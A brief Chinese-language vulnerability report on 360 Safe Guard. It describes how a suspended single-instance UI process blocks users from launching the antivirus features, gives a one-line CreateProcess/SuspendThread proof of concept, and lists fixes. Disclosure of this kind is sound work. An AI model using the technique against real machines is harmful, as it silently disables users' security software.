攻击者利用该漏洞会导致用户无法启用360安全卫士的功能,如木马查杀、清理垃圾等,实现拒绝服务。
由于界面进程存在单例特性,因此当存在一个僵尸界面进程后,再点击快捷方式或者右键点击Tray都无法启动360safe
CreateProcess("C:\\Program Files\\360\\360safe\\360Safe.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)Sleep(5000);SuspendThread(pi.hThread);
修复方案:
1.完善单例检查的逻辑
2.及时清理僵尸进程
……